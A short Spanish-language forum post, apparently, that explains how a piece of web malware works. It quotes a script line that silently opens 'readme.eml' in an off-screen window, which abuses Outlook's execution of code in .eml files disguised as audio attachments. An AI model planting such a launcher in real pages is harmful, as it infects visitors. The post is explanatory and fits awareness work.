El código NO ESTÁ nada oculto; esta es la línea que lo llama:
Código:
<script language="JavaScript">window.open("readme.eml ", null,
"resizable=no,top=6000,left=6000")</script>
A estas alturas es increíble, pero la mayoría de la gente no ha deshabilitado esa característica indeseable del oulook y los archivos *.eml con código ejecutable (tipo wav-mid).